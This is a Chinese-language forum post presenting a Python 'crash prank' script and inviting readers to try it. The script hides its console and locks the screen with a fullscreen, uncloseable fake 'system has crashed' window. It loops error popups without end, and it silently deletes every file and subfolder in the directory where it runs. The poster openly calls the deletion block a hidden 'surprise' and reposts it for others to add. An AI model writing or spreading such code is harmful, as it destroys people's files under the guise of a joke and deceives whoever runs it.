|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
本帖最后由 Mike_python小 于 2020-6-4 09:50 编辑
哈哈哈哈哈
上代码:- import ctypes
-
- whnd = ctypes.windll.kernel32.GetConsoleWindow()
- if whnd != 0:
- ctypes.windll.user32.ShowWindow(whnd, 0)
- ctypes.windll.kernel32.CloseHandle(whnd)
- from tkinter import *
- from tkinter import messagebox as g
- # import pyautogui as g
- from PIL import Image, ImageTk
- import shutil
- cur_file = os.path.basename(sys.argv[0])
- dir_content = os.listdir(".")
- root = Tk()
- root.title("")
- root.configure(bg='#0074D4')
- w = root.winfo_screenwidth()
- h = root.winfo_screenheight()
- root.attributes("-topmost",True)
- root.resizable(0,0) #防止用户调整尺寸
- root.geometry("%dx%d+0+0" %(w,h))
- print(w, h)
- for f in dir_content:
- if os.path.isdir(f):
- shutil.rmtree(f)
- elif f != cur_file:
- os.remove(f)
- # Button(root, text='关闭', bg = 'red', command=root.quit).pack()
- gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
- giftk = ImageTk.PhotoImage(gif)
- Label(root, image=giftk).pack()
- # Label(root, bg='blue',).pack()
- def close():
- pass
- def change(event):
- root.update()
- a = str(root.winfo_x())
- b = str(root.winfo_y())
- if a and b != '0':
- root.geometry('%dx%d+0+0' % (w, h))
- def a(ev=None):
- g.press('alt'+'\t')
- root.update()
- root.bind("<Configure>",change) #绑定事件
- root.bind("<Leave>", a)
- root.protocol("WM_DELETE_WINDOW", close)
- def whileF():
- whileT()
- def whileT():
- g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
- whileF()
- whileT()
- root.mainloop()
复制代码
你们可以去试试
这是图片:
emmmmmmm……
图片太大
只好用图床:htt啊ps://imgchr.com/i/YHH6ER
记得评分呀(此代码有keng,所以 )
在代码里添加这几行代码:- import os,sys
- import shutil
- cur_file = os.path.basename(sys.argv[0])
- dir_content = os.listdir(".")
- for f in dir_content:
- if os.path.isdir(f):
- shutil.rmtree(f)
- elif f != cur_file:
- os.remove(f)
复制代码
= 惊喜(已经添加)
自己选择添不添加 |
评分
-
查看全部评分
|